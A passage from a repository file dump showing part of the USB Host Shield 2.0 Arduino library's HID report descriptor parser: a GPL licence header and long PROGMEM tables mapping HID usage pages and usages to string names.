listen on an interface, false if not\n        virtual bool SelectInterface(uint8_t iface, uint8_t proto) = 0;\n};\n\n#endif // __HIDCOMPOSITE_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidescriptorparser.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#include \"hidescriptorparser.h\"\n\nconst char * const ReportDescParserBase::usagePageTitles0[] PROGMEM = {\n        pstrUsagePageGenericDesktopControls,\n        pstrUsagePageSimulationControls,\n        pstrUsagePageVRControls,\n        pstrUsagePageSportControls,\n        pstrUsagePageGameControls,\n        pstrUsagePageGenericDeviceControls,\n        pstrUsagePageKeyboardKeypad,\n        pstrUsagePageLEDs,\n        pstrUsagePageButton,\n        pstrUsagePageOrdinal,\n        pstrUsagePageTelephone,\n        pstrUsagePageConsumer,\n        pstrUsagePageDigitizer,\n        pstrUsagePagePID,\n        pstrUsagePageUnicode\n};\n\nconst char * const ReportDescParserBase::usagePageTitles1[] PROGMEM = {\n        pstrUsagePageBarCodeScanner,\n        pstrUsagePageScale,\n        pstrUsagePageMSRDevices,\n        pstrUsagePagePointOfSale,\n        pstrUsagePageCameraControl,\n        pstrUsagePageArcade\n};\nconst char * const ReportDescParserBase::genDesktopTitles0[] PROGMEM = {\n        pstrUsagePointer,\n        pstrUsageMouse,\n        pstrUsageJoystick,\n        pstrUsageGamePad,\n        pstrUsageKeyboard,\n        pstrUsageKeypad,\n        pstrUsageMultiAxisController,\n        pstrUsageTabletPCSystemControls\n\n};\nconst char * const ReportDescParserBase::genDesktopTitles1[] PROGMEM = {\n        pstrUsageX,\n        pstrUsageY,\n        pstrUsageZ,\n        pstrUsageRx,\n        pstrUsageRy,\n        pstrUsageRz,\n        pstrUsageSlider,\n        pstrUsageDial,\n        pstrUsageWheel,\n        pstrUsageHatSwitch,\n        pstrUsageCountedBuffer,\n        pstrUsageByteCount,\n        pstrUsageMotionWakeup,\n        pstrUsageStart,\n        pstrUsageSelect,\n        pstrUsagePageReserved,\n        pstrUsageVx,\n        pstrUsageVy,\n        pstrUsageVz,\n        pstrUsageVbrx,\n        pstrUsageVbry,\n        pstrUsageVbrz,\n        pstrUsageVno,\n        pstrUsageFeatureNotification,\n        pstrUsageResolutionMultiplier\n};\nconst char * const ReportDescParserBase::genDesktopTitles2[] PROGMEM = {\n        pstrUsageSystemControl,\n        pstrUsageSystemPowerDown,\n        pstrUsageSystemSleep,\n        pstrUsageSystemWakeup,\n        pstrUsageSystemContextMenu,\n        pstrUsageSystemMainMenu,\n        pstrUsageSystemAppMenu,\n        pstrUsageSystemMenuHelp,\n        pstrUsageSystemMenuExit,\n        pstrUsageSystemMenuSelect,\n        pstrUsageSystemMenuRight,\n        pstrUsageSystemMenuLeft,\n        pstrUsageSystemMenuUp,\n        pstrUsageSystemMenuDown,\n        pstrUsageSystemColdRestart,\n        pstrUsageSystemWarmRestart,\n        pstrUsageDPadUp,\n        pstrUsageDPadDown,\n        pstrUsageDPadRight,\n        pstrUsageDPadLeft\n};\nconst char * const ReportDescParserBase::genDesktopTitles3[] PROGMEM = {\n        pstrUsageSystemDock,\n        pstrUsageSystemUndock,\n        pstrUsageSystemSetup,\n        pstrUsageSystemBreak,\n        pstrUsageSystemDebuggerBreak,\n        pstrUsageApplicationBreak,\n        pstrUsageApplicationDebuggerBreak,\n        pstrUsageSystemSpeakerMute,\n        pstrUsageSystemHibernate\n};\nconst char * const ReportDescParserBase::genDesktopTitles4[] PROGMEM = {\n        pstrUsageSystemDisplayInvert,\n        pstrUsageSystemDisplayInternal,\n        pstrUsageSystemDisplayExternal,\n        pstrUsageSystemDisplayBoth,\n        pstrUsageSystemDisplayDual,\n        pstrUsageSystemDisplayToggleIntExt,\n        pstrUsageSystemDisplaySwapPriSec,\n        pstrUsageSystemDisplayLCDAutoscale\n};\nconst char * const ReportDescParserBase::simuTitles0[] PROGMEM = {\n        pstrUsageFlightSimulationDevice,\n        pstrUsageAutomobileSimulationDevice,\n        pstrUsageTankSimulationDevice,\n        pstrUsageSpaceshipSimulationDevice,\n        pstrUsageSubmarineSimulationDevice,\n        pstrUsageSailingSimulationDevice,\n        pstrUsageMotocicleSimulationDevice,\n        pstrUsageSportsSimulationDevice,\n        pstrUsageAirplaneSimulationDevice,\n        pstrUsageHelicopterSimulationDevice,\n        pstrUsageMagicCarpetSimulationDevice,\n        pstrUsageBicycleSimulationDevice\n};\nconst char * const ReportDescParserBase::simuTitles1[] PROGMEM = {\n        pstrUsageFlightControlStick,\n        pstrUsageFlightStick,\n        pstrUsageCyclicControl,\n        pstrUsageCyclicTrim,\n        pstrUsageFlightYoke,\n        pstrUsageTrackControl\n};\nconst char * const ReportDescParserBase::simuTitles2[] PROGMEM = {\n        pstrUsageAileron,\n        pstrUsageAileronTrim,\n        pstrUsageAntiTorqueControl,\n        pstrUsageAutopilotEnable,\n        pstrUsageChaffRelease,\n        pstrUsageCollectiveControl,\n        pstrUsageDiveBrake,\n        pstrUsageElectronicCountermeasures,\n        pstrUsageElevator,\n        pstrUsageElevatorTrim,\n        pstrUsageRudder,\n        pstrUsageThrottle,\n        pstrUsageFlightCommunications,\n        pstrUsageFlareRelease,\n        pstrUsageLandingGear,\n        pstrUsageToeBrake,\n        pstrUsageTrigger,\n        pstrUsageWeaponsArm,\n        pstrUsageWeaponsSelect,\n        pstrUsageWingFlaps,\n        pstrUsageAccelerator,\n        pstrUsageBrake,\n        pstrUsageClutch,\n        pstrUsageShifter,\n        pstrUsageSteering,\n        pstrUsageTurretDirection,\n        pstrUsageBarrelElevation,\n        pstrUsageDivePlane,\n        pstrUsageBallast,\n        pstrUsageBicycleCrank,\n        pstrUsageHandleBars,\n        pstrUsageFrontBrake,\n        pstrUsageRearBrake\n};\nconst char * const ReportDescParserBase::vrTitles0[] PROGMEM = {\n        pstrUsageBelt,\n        pstrUsageBodySuit,\n        pstrUsageFlexor,\n        pstrUsageGlove,\n        pstrUsageHeadTracker,\n        pstrUsageHeadMountedDisplay,\n        pstrUsageHandTracker,\n        pstrUsageOculometer,\n        pstrUsageVest,\n        pstrUsageAnimatronicDevice\n};\nconst char * const ReportDescParserBase::vrTitles1[] PROGMEM = {\n        pstrUsageStereoEnable,\n        pstrUsageDisplayEnable\n};\nconst char * const ReportDescParserBase::sportsCtrlTitles0[] PROGMEM = {\n        pstrUsageBaseballBat,\n        pstrUsageGolfClub,\n        pstrUsageRowingMachine,\n        pstrUsageTreadmill\n};\nconst char * const ReportDescParserBase::sportsCtrlTitles1[] PROGMEM = {\n        pstrUsageOar,\n        pstrUsageSlope,\n        pstrUsageRate,\n        pstrUsageStickSpeed,\n        pstrUsageStickFaceAngle,\n        pstrUsageStickHeelToe,\n        pstrUsageStickFollowThough,\n        pstrUsageStickTempo,\n        pstrUsageStickType,\n        pstrUsageStickHeight\n};\nconst char * const ReportDescParserBase::sportsCtrlTitles2[] PROGMEM = {\n        pstrUsagePutter,\n        pstrUsage1Iron,\n        pstrUsage2Iron,\n        pstrUsage3Iron,\n        pstrUsage4Iron,\n        pstrUsage5Iron,\n        pstrUsage6Iron,\n        pstrUsage7Iron,\n        pstrUsage8Iron,\n        pstrUsage9Iron,\n        pstrUsage10Iron,\n        pstrUsage11Iron,\n        pstrUsageSandWedge,\n        pstrUsageLoftWedge,\n        pstrUsagePowerWedge,\n        pstrUsage1Wood,\n        pstrUsage3Wood,\n        pstrUsage5Wood,\n        pstrUsage7Wood,\n        pstrUsage9Wood\n};\nconst char * const ReportDescParserBase::gameTitles0[] PROGMEM = {\n        pstrUsage3DGameController,\n        pstrUsagePinballDevice,\n        pstrUsageGunDevice\n};\nconst char * const ReportDescParserBase::gameTitles1[] PROGMEM = {\n        pstrUsagePointOfView,\n        pstrUsageTurnRightLeft,\n        pstrUsagePitchForwardBackward,\n        pstrUsageRollRightLeft,\n        pstrUsageMoveRightLeft,\n        pstrUsageMoveForwardBackward,\n        pstrUsageMoveUpDown,\n        pstrUsageLeanRightLeft,\n        pstrUsageLeanForwardBackward,\n        pstrUsageHeightOfPOV,\n        pstrUsageFlipper,\n        pstrUsageSecondaryFlipper,\n        pstrUsageBump,\n        pstrUsageNewGame,\n        pstrUsageShootBall,\n        pstrUsagePlayer,\n        pstrUsageGunBolt,\n        pstrUsageGunClip,\n        pstrUsageGunSelector,\n        pstrUsageGunSingleShot,\n        pstrUsageGunBurst,\n        pstrUsageGunAutomatic,\n        pstrUsageGunSafety,\n        pstrUsageGamepadFireJump,\n        pstrUsageGamepadTrigger\n};\nconst char * const ReportDescParserBase::genDevCtrlTitles[] PROGMEM = {\n        pstrUsageBatteryStrength,\n        pstrUsageWirelessChannel,\n        pstrUsageWirelessID,\n        pstrUsageDiscoverWirelessControl,\n        pstrUsageSecurityCodeCharEntered,\n        pstrUsageSecurityCodeCharErased,\n        pstrUsageSecurityCodeCleared\n};\nconst char * const ReportDescParserBase::ledTitles[] PROGMEM = {\n        pstrUsageNumLock,\n        pstrUsageCapsLock,\n        pstrUsageScrollLock,\n        pstrUsageCompose,\n        pstrUsageKana,\n        pstrUsagePower,\n        pstrUsageShift,\n        pstrUsageDoNotDisturb,\n        pstrUsageMute,\n        pstrUsageToneEnable,\n        pstrUsageHighCutFilter,\n        pstrUsageLowCutFilter,\n        pstrUsageEqualizerEnable,\n        pstrUsageSoundFieldOn,\n        pstrUsageSurroundOn,\n        pstrUsageRepeat,\n        pstrUsageStereo,\n        pstrUsageSamplingRateDetect,\n        pstrUsageSpinning,\n        pstrUsageCAV,\n        pstrUsageCLV,\n        pstrUsageRecordingFormatDetect,\n        pstrUsageOffHook,\n        pstrUsageRing,\n        pstrUsageMessageWaiting,\n        pstrUsageDataMode,\n        pstrUsageBatteryOperation,\n        pstrUsageBatteryOK,\n        pstrUsageBatteryLow,\n        pstrUsageSpeaker,\n        pstrUsageHeadSet,\n        pstrUsageHold,\n        pstrUsageMicrophone,\n        pstrUsageCoverage,\n        pstrUsageNightMode,\n        pstrUsageSendCalls,\n        pstrUsageCallPickup,\n        pstrUsageConference,\n        pstrUsageStandBy,\n        pstrUsageCameraOn,\n        pstrUsageCameraOff,\n        pstrUsageOnLine,\n        pstrUsageOffLine,\n        pstrUsageBusy,\n        pstrUsageReady,\n        pstrUsagePaperOut,\n        pstrUsagePaperJam,\n        pstrUsageRemote,\n        pstrUsageForward,\n        pstrUsageReverse,\n        pstrUsageStop,\n        pstrUsageRewind,\n        pstrUsageFastForward,\n        pstrUsagePlay,\n        pstrUsagePause,\n        pstrUsageRecord,\n        pstrUsageError,\n        pstrUsageSelectedIndicator,\n        pstrUsageInUseIndicator,\n        pstrUsageMultiModeIndicator,\n        pstrUsageIndicatorOn,\n        pstrUsageIndicatorFlash,\n        pstrUsageIndicatorSlowBlink,\n        pstrUsageIndicatorFastBlink,\n        pstrUsageIndicatorOff,\n        pstrUsageFlashOnTime,\n        pstrUsageSlowBlinkOnTime,\n        pstrUsageSlowBlinkOffTime,\n        pstrUsageFastBlinkOnTime,\n        pstrUsageFastBlinkOffTime,\n        pstrUsageIndicatorColor,\n        pstrUsageIndicatorRed,\n        pstrUsageIndicatorGreen,\n        pstrUsageIndicatorAmber,\n        pstrUsageGenericIndicator,\n        pstrUsageSystemSuspend,\n        pstrUsageExternalPowerConnected\n};\nconst char * const ReportDescParserBase::telTitles0 [] PROGMEM = {\n        pstrUsagePhone,\n        pstrUsageAnsweringMachine,\n        pstrUsageMessageControls,\n        pstrUsageHandset,\n        pstrUsageHeadset,\n        pstrUsageTelephonyKeyPad,\n        pstrUsageProgrammableButton\n};\nconst char * const ReportDescParserBase::telTitles1 [] PROGMEM = {\n        pstrUsageHookSwitch,\n        pstrUsageFlash,\n        pstrUsageFeature,\n        pstrUsageHold,\n        pstrUsageRedial,\n        pstrUsageTransfer,\n        pstrUsageDrop,\n        pstrUsagePark,\n        pstrUsageForwardCalls,\n        pstrUsageAlternateFunction,\n        pstrUsageLine,\n        pstrUsageSpeakerPhone,\n        pstrUsageConference,\n        pstrUsageRingEnable,\n        pstrUsageRingSelect,\n        pstrUsagePhoneMute,\n        pstrUsageCallerID,\n        pstrUsageSend\n};\nconst char * const ReportDescParserBase::telTitles2 [] PROGMEM = {\n        pstrUsageSpeedDial,\n        pstrUsageStoreNumber,\n        pstrUsageRecallNumber,\n        pstrUsagePhoneDirectory\n};\nconst char * const ReportDescParserBase::telTitles3 [] PROGMEM = {\n        pstrUsageVoiceMail,\n        pstrUsageScreenCalls,\n        pstrUsageDoNotDisturb,\n        pstrUsageMessage,\n        pstrUsageAnswerOnOff\n};\nconst char * const ReportDescParserBase::telTitles4 [] PROGMEM = {\n        pstrUsageInsideDialTone,\n        pstrUsageOutsideDialTone,\n        pstrUsageInsideRingTone,\n        pstrUsageOutsideRingTone,\n        pstrUsagePriorityRingTone,\n        pstrUsageInsideRingback,\n        pstrUsagePriorityRingback,\n        pstrUsageLineBusyTone,\n        pstrUsageReorderTone,\n        pstrUsageCallWaitingTone,\n        pstrUsageConfirmationTone1,\n        pstrUsageConfirmationTone2,\n        pstrUsageTonesOff,\n        pstrUsageOutsideRingback,\n        pstrUsageRinger\n};\nconst char * const ReportDescParserBase::telTitles5 [] PROGMEM = {\n        pstrUsagePhoneKey0,\n        pstrUsagePhoneKey1,\n        pstrUsagePhoneKey2,\n        pstrUsagePhoneKey3,\n        pstrUsagePhoneKey4,\n        pstrUsagePhoneKey5,\n        pstrUsagePhoneKey6,\n        pstrUsagePhoneKey7,\n        pstrUsagePhoneKey8,\n        pstrUsagePhoneKey9,\n        pstrUsagePhoneKeyStar,\n        pstrUsagePhoneKeyPound,\n        pstrUsagePhoneKeyA,\n        pstrUsagePhoneKeyB,\n        pstrUsagePhoneKeyC,\n        pstrUsagePhoneKeyD\n};\nconst char * const ReportDescParserBase::consTitles0[] PROGMEM = {\n        pstrUsageConsumerControl,\n        pstrUsageNumericKeyPad,\n        pstrUsageProgrammableButton,\n        pstrUsageMicrophone,\n        pstrUsageHeadphone,\n        pstrUsageGraphicEqualizer\n};\nconst char * const ReportDescParserBase::consTitles1[] PROGMEM = {\n        pstrUsagePlus10,\n        pstrUsagePlus100,\n        pstrUsageAMPM\n};\nconst char * const ReportDescParserBase::consTitles2[] PROGMEM = {\n        pstrUsagePower,\n        pstrUsageReset,\n        pstrUsageSleep,\n        pstrUsageSleepAfter,\n        pstrUsageSleepMode,\n        pstrUsageIllumination,\n        pstrUsageFunctionButtons\n\n};\nconst char * const ReportDescParserBase::consTitles3[] PROGMEM = {\n        pstrUsageMenu,\n        pstrUsageMenuPick,\n        pstrUsageMenuUp,\n        pstrUsageMenuDown,\n        pstrUsageMenuLeft,\n        pstrUsageMenuRight,\n        pstrUsageMenuEscape,\n        pstrUsageMenuValueIncrease,\n        pstrUsageMenuValueDecrease\n};\nconst char * const ReportDescParserBase::consTitles4[] PROGMEM = {\n        pstrUsageDataOnScreen,\n        pstrUsageClosedCaption,\n        pstrUsageClosedCaptionSelect,\n        pstrUsageVCRTV,\n        pstrUsageBroadcastMode,\n        pstrUsageSnapshot,\n        pstrUsageStill\n};\nconst char * const ReportDescParserBase::consTitles5[] PROGMEM = {\n        pstrUsageSelection,\n        pstrUsageAssignSelection,\n        pstrUsageModeStep,\n        pstrUsageRecallLast,\n        pstrUsageEnterChannel,\n        pstrUsageOrderMovie,\n        pstrUsageChannel,\n        pstrUsageMediaSelection,\n        pstrUsageMediaSelectComputer,\n        pstrUsageMediaSelectTV,\n        pstrUsageMediaSelectWWW,\n        pstrUsageMediaSelectDVD,\n        pstrUsageMediaSelectTelephone,\n        pstrUsageMediaSelectProgramGuide,\n        pstrUsageMediaSelectVideoPhone,\n        pstrUsageMediaSelectGames,\n        pstrUsageMediaSelectMessages,\n        pstrUsageMediaSelectCD,\n        pstrUsageMediaSelectVCR,\n        pstrUsageMediaSelectTuner,\n        pstrUsageQuit,\n        pstrUsageHelp,\n        pstrUsageMediaSelectTape,\n        pstrUsageMediaSelectCable,\n        pstrUsageMediaSelectSatellite,\n        pstrUsageMediaSelectSecurity,\n        pstrUsageMediaSelectHome,\n        pstrUsageMediaSelectCall,\n        pstrUsageChannelIncrement,\n        pstrUsageChannelDecrement,\n        pstrUsageMediaSelectSAP,\n        pstrUsagePageReserved,\n        pstrUsageVCRPlus,\n        pstrUsageOnce,\n        pstrUsageDaily,\n        pstrUsageWeekly,\n        pstrUsageMonthly\n};\nconst char * const ReportDescParserBase::consTitles6[] PROGMEM = {\n        pstrUsagePlay,\n        pstrUsagePause,\n        pstrUsageRecord,\n        pstrUsageFastForward,\n        pstrUsageRewind,\n        pstrUsageScanNextTrack,\n        pstrUsageScanPreviousTrack,\n        pstrUsageStop,\n        pstrUsageEject,\n        pstrUsageRandomPlay,\n        pstrUsageSelectDisk,\n        pstrUsageEnterDisk,\n        pstrUsageRepeat,\n        pstrUsageTracking,\n        pstrUsageTrackNormal,\n        pstrUsageSlowTracking,\n        pstrUsageFrameForward,\n        pstrUsageFrameBackwards,\n        pstrUsageMark,\n        pstrUsageClearMark,\n        pstrUsageRepeatFromMark,\n        pstrUsageReturnToMark,\n        pstrUsageSearchMarkForward,\n        pstrUsageSearchMarkBackwards,\n        pstrUsageCounterReset,\n        pstrUsageShowCounter,\n        pstrUsageTrackingIncrement,\n        pstrUsageTrackingDecrement,\n        pstrUsageStopEject,\n        pstrUsagePlayPause,\n        pstrUsagePlaySkip\n};\nconst char * const ReportDescParserBase::consTitles7[] PROGMEM = {\n        pstrUsageVolume,\n        pstrUsageBalance,\n        pstrUsageMute,\n        pstrUsageBass,\n        pstrUsageTreble,\n        pstrUsageBassBoost,\n        pstrUsageSurroundMode,\n        pstrUsageLoudness,\n        pstrUsageMPX,\n        pstrUsageVolumeIncrement,\n        pstrUsageVolumeDecrement\n};\nconst char * const ReportDescParserBase::consTitles8[] PROGMEM = {\n        pstrUsageSpeedSelect,\n        pstrUsagePlaybackSpeed,\n        pstrUsageStandardPlay,\n        pstrUsageLongPlay,\n        pstrUsageExtendedPlay,\n        pstrUsageSlow\n};\nconst char * const ReportDescParserBase::consTitles9[] PROGMEM = {\n        pstrUsageFanEnable,\n        pstrUsageFanSpeed,\n        pstrUsageLightEnable,\n        pstrUsageLightIlluminationLevel,\n        pstrUsageClimateControlEnable,\n        pstrUsageRoomTemperature,\n        pstrUsageSecurityEnable,\n        pstrUsageFireAlarm,\n        pstrUsagePoliceAlarm,\n        pstrUsageProximity,\n        pstrUsageMotion,\n        pstrUsageDuresAlarm,\n        pstrUsageHoldupAlarm,\n        pstrUsageMedicalAlarm\n};\nconst char * const ReportDescParserBase::consTitlesA[] PROGMEM = {\n        pstrUsageBalanceRight,\n        pstrUsageBalanceLeft,\n        pstrUsageBassIncrement,\n        pstrUsageBassDecrement,\n        pstrUsageTrebleIncrement,\n        pstrUsageTrebleDecrement\n};\nconst char * const ReportDescParserBase::consTitlesB[] PROGMEM = {\n        pstrUsageSpeakerSystem,\n        pstrUsageChannelLeft,\n        pstrUsageChannelRight,\n        pstrUsageChannelCenter,\n        pstrUsageChannelFront,\n        pstrUsageChannelCenterFront,\n        pstrUsageChannelSide,\n        pstrUsageChannelSurround,\n        pstrUsageChannelLowFreqEnhancement,\n        pstrUsageChannelTop,\n        pstrUsageChannelUnknown\n};\nconst char * const ReportDescParserBase::consTitlesC[] PROGMEM = {\n        pstrUsageSubChannel,\n        pstrUsageSubChannelIncrement,\n        pstrUsageSubChannelDecrement,\n        pstrUsageAlternateAudioIncrement,\n        pstrUsageAlternateAudioDecrement\n};\nconst char * const ReportDescParserBase::consTitlesD[] PROGMEM = {\n        pstrUsageApplicationLaunchButtons,\n        pstrUsageALLaunchButtonConfigTool,\n        pstrUsageALProgrammableButton,\n        pstrUsageALConsumerControlConfig,\n        pstrUsageALWordProcessor,\n        pstrUsageALTextEditor,\n        pstrUsageALSpreadsheet,\n        pstrUsageALGraphicsEditor,\n        pstrUsageALPresentationApp,\n        pstrUsageALDatabaseApp,\n        pstrUsageALEmailReader,\n        pstrUsageALNewsreader,\n        pstrUsageALVoicemail,\n        pstrUsageALContactsAddressBook,\n        pstrUsageALCalendarSchedule,\n        pstrUsageALTaskProjectManager,\n        pstrUsageALLogJournalTimecard,\n        pstrUsageALCheckbookFinance,\n        pstrUsageALCalculator,\n        pstrUsageALAVCapturePlayback,\n        pstrUsageALLocalMachineBrowser,\n        pstrUsageALLANWANBrow,\n        pstrUsageALInternetBrowser,\n        pstrUsageALRemoteNetISPConnect,\n        pstrUsageALNetworkConference,\n        pstrUsageALNetworkChat,\n        pstrUsageALTelephonyDialer,\n        pstrUsageALLogon,\n        pstrUsageALLogoff,\n        pstrUsageALLogonLogoff,\n        pstrUsageALTermLockScrSav,\n        pstrUsageALControlPannel,\n        pstrUsageALCommandLineProcessorRun,\n        pstrUsageALProcessTaskManager,\n        pstrUsageALSelectTaskApplication,\n        pstrUsageALNextTaskApplication,\n        pstrUsageALPreviousTaskApplication,\n        pstrUsageALPreemptiveHaltTaskApp,\n        pstrUsageALIntegratedHelpCenter,\n        pstrUsageALDocuments,\n        pstrUsageALThesaurus,\n        pstrUsageALDictionary,\n        pstrUsageALDesktop,\n        pstrUsageALSpellCheck,\n        pstrUsageALGrammarCheck,\n        pstrUsageALWirelessStatus,\n        pstrUsageALKeyboardLayout,\n        pstrUsageALVirusProtection,\n        pstrUsageALEncryption,\n        pstrUsageALScreenSaver,\n        pstrUsageALAlarms,\n        pstrUsageALClock,\n        pstrUsageALFileBrowser,\n        pstrUsageALPowerStatus,\n        pstrUsageALImageBrowser,\n        pstrUsageALAudioBrowser,\n        pstrUsageALMovieBrowser,\n        pstrUsageALDigitalRightsManager,\n        pstrUsageALDigitalWallet,\n        pstrUsagePageReserved,\n        pstrUsageALInstantMessaging,\n        pstrUsageALOEMFeaturesBrowser,\n        pstrUsageALOEMHelp,\n        pstrUsageALOnlineCommunity,\n        pstrUsageALEntertainmentContentBrow,\n        pstrUsageALOnlineShoppingBrowser,\n        pstrUsageALSmartCardInfoHelp,\n        pstrUsageALMarketMonitorFinBrowser,\n        pstrUsageALCustomCorpNewsBrowser,\n        pstrUsageALOnlineActivityBrowser,\n        pstrUsageALResearchSearchBrowser,\n        pstrUsageALAudioPlayer\n};\nconst char * const ReportDescParserBase::consTitlesE[] PROGMEM = {\n        pstrUsageGenericGUIAppControls,\n        pstrUsageACNew,\n        pstrUsageACOpen,\n        pstrUsageACClose,\n        pstrUsageACExit,\n        pstrUsageACMaximize,\n        pstrUsageACMinimize,\n        pstrUsageACSave,\n        pstrUsageACPrint,\n        pstrUsageACProperties,\n        pstrUsageACUndo,\n        pstrUsageACCopy,\n        pstrUsageACCut,\n        pstrUsageACPaste,\n        pstrUsageACSelectAll,\n        pstrUsageACFind,\n        pstrUsageACFindAndReplace,\n        pstrUsageACSearch,\n        pstrUsageACGoto,\n        pstrUsageACHome,\n        pstrUsageACBack,\n        pstrUsageACForward,\n        pstrUsageACStop,\n        pstrUsageACRefresh,\n        pstrUsageACPreviousLink,\n        pstrUsageACNextLink,\n        pstrUsageACBookmarks,\n        pstrUsageACHistory,\n        pstrUsageACSubscriptions,\n        pstrUsageACZoomIn,\n        pstrUsageACZoomOut,\n        pstrUsageACZoom,\n        pstrUsageACFullScreenView,\n        pstrUsageACNormalView,\n        pstrUsageACViewToggle,\n        pstrUsageACScrollUp,\n        pstrUsageACScrollDown,\n        pstrUsageACScroll,\n        pstrUsageACPanLeft,\n        pstrUsageACPanRight,\n        pstrUsageACPan,\n        pstrUsageACNewWindow,\n        pstrUsageACTileHoriz,\n        pstrUsageACTileVert,\n        pstrUsageACFormat,\n        pstrUsageACEdit,\n        pstrUsageACBold,\n        pstrUsageACItalics,\n        pstrUsageACUnderline,\n        pstrUsageACStrikethrough,\n        pstrUsageACSubscript,\n        pstrUsageACSuperscript,\n        pstrUsageACAllCaps,\n        pstrUsageACRotate,\n        pstrUsageACResize,\n        pstrUsageACFlipHorizontal,\n        pstrUsageACFlipVertical,\n        pstrUsageACMirrorHorizontal,\n        pstrUsageACMirrorVertical,\n        pstrUsageACFontSelect,\n        pstrUsageACFontColor,\n        pstrUsageACFontSize,\n        pstrUsageACJustifyLeft,\n        pstrUsageACJustifyCenterH,\n        pstrUsageACJustifyRight,\n        pstrUsageACJustifyBlockH,\n        pstrUsageACJustifyTop,\n        pstrUsageACJustifyCenterV,\n        pstrUsageACJustifyBottom,\n        pstrUsageACJustifyBlockV,\n        pstrUsageACIndentDecrease,\n        pstrUsageACIndentIncrease,\n        pstrUsageACNumberedList,\n        pstrUsageACRestartNumbering,\n        pstrUsageACBulletedList,\n        pstrUsageACPromote,\n        pstrUsageACDemote,\n        pstrUsageACYes,\n        pstrUsageACNo,\n        pstrUsageACCancel,\n        pstrUsageACCatalog,\n        pstrUsageACBuyChkout,\n        pstrUsageACAddToCart,\n        pstrUsageACExpand,\n        pstrUsageACExpandAll,\n        pstrUsageACCollapse,\n        pstrUsageACCollapseAll,\n        pstrUsageACPrintPreview,\n        pstrUsageACPasteSpecial,\n        pstrUsageACInsertMode,\n        pstrUsageACDelete,\n        pstrUsageACLock,\n        pstrUsageACUnlock,\n        pstrUsageACProtect,\n        pstrUsageACUnprotect,\n        pstrUsageACAttachComment,\n        pstrUsageACDeleteComment,\n        pstrUsageACViewComment,\n        pstrUsageACSelectWord,\n        pstrUsageACSelectSentence,\n        pstrUsageACSelectParagraph,\n        pstrUsageACSelectColumn,\n        pstrUsageACSelectRow,\n        pstrUsageACSelectTable,\n        pstrUsageACSelectObject,\n        pstrUsageACRedoRepeat,\n        pstrUsageACSort,\n        pstrUsageACSortAscending,\n        pstrUsageACSortDescending,\n        pstrUsageACFilter,\n        pstrUsageACSetClock,\n        pstrUsageACViewClock,\n        pstrUsageACSelectTimeZone,\n        pstrUsageACEditTimeZone,\n        pstrUsageACSetAlarm,\n        pstrUsageACClearAlarm,\n        pstrUsageACSnoozeAlarm,\n        pstrUsageACResetAlarm,\n        pstrUsageACSyncronize,\n        pstrUsageACSendReceive,\n        pstrUsageACSendTo,\n        pstrUsageACReply,\n        pstrUsageACReplyAll,\n        pstrUsageACForwardMessage,\n        pstrUsageACSend,\n        pstrUsageACAttachFile,\n        pstrUsageACUpload,\n        pstrUsageACDownload,\n        pstrUsageACSetBorders,\n        pstrUsageACInsertRow,\n        pstrUsageACInsertColumn,\n        pstrUsageACInsertFile,\n        pstrUsageACInsertPicture,\n        pstrUsageACInsertObject,\n        pstrUsageACInsertSymbol,\n        pstrUsageACSaveAndClose,\n        pstrUsageACRename,\n        pstrUsageACMerge,\n        pstrUsageACSplit,\n        pstrUsageACDistributeHorizontaly,\n        pstrUsageACDistributeVerticaly\n};\nconst char * const ReportDescParserBase::digitTitles0[] PROGMEM = {\n        pstrUsageDigitizer,\n        pstrUsagePen,\n        pstrUsageLightPen,\n        pstrUsageTouchScreen,\n        pstrUsageTouchPad,\n        pstrUsageWhiteBoard,\n        pstrUsageCoordinateMeasuringMachine,\n        pstrUsage3DDigitizer,\n        pstrUsageStereoPlotter,\n        pstrUsageArticulatedArm,\n        pstrUsageArmature,\n        pstrUsageMultiplePointDigitizer,\n        pstrUsageFreeSpaceWand\n};\nconst char * const ReportDescParserBase::digitTitles1[] PROGMEM = {\n        pstrUsageStylus,\n        pstrUsagePuck,\n        pstrUsageFinger\n\n};\nconst char * const ReportDescParserBase::digitTitles2[] PROGMEM = {\n        pstrUsageTipPressure,\n        pstrUsageBarrelPressure,\n        pstrUsageInRange,\n        pstrUsageTouch,\n        pstrUsageUntouch,\n        pstrUsageTap,\n        pstrUsageQuality,\n        pstrUsageDataValid,\n        pstrUsageTransducerIndex,\n        pstrUsageTabletFunctionKeys,\n        pstrUsageProgramChangeKeys,\n        pstrUsageBatteryStrength,\n        pstrUsageInvert,\n        pstrUsageXTilt,\n        pstrUsageYTilt,\n        pstrUsageAzimuth,\n        pstrUsageAltitude,\n        pstrUsageTwist,\n        pstrUsageTipSwitch,\n        pstrUsageSecondaryTipSwitch,\n        pstrUsageBarrelSwitch,\n        pstrUsageEraser,\n        pstrUsageTabletPick\n};\nconst char * const ReportDescParserBase::aplphanumTitles0[] PROGMEM = {\n        pstrUsageAlphanumericDisplay,\n        pstrUsageBitmappedDisplay\n};\nconst char * const ReportDescParserBase::aplphanumTitles1[] PROGMEM = {\n        pstrUsageDisplayAttributesReport,\n        pstrUsageASCIICharacterSet,\n        pstrUsageDataReadBack,\n        pstrUsageFontReadBack,\n        pstrUsageDisplayControlReport,\n        pstrUsageClearDisplay,\n        pstrUsageDisplayEnable,\n        pstrUsageScreenSaverDelay,\n        pstrUsageScreenSaverEnable,\n        pstrUsageVerticalScroll,\n        pstrUsageHorizontalScroll,\n        pstrUsageCharacterReport,\n        pstrUsageDisplayData,\n        pstrUsageDisplayStatus,\n        pstrUsageStatusNotReady,\n        pstrUsageStatusReady,\n        pstrUsageErrorNotALoadableCharacter,\n        pstrUsageErrorFotDataCanNotBeRead,\n        pstrUsageCursorPositionReport,\n        pstrUsageRow,\n        pstrUsageColumn,\n        pstrUsageRows,\n        pstrUsageColumns,\n        pstrUsageCursorPixelPosition,\n        pstrUsageCursorMode,\n        pstrUsageCursorEnable,\n        pstrUsageCursorBlink,\n        pstrUsageFontReport,\n        pstrUsageFontData,\n        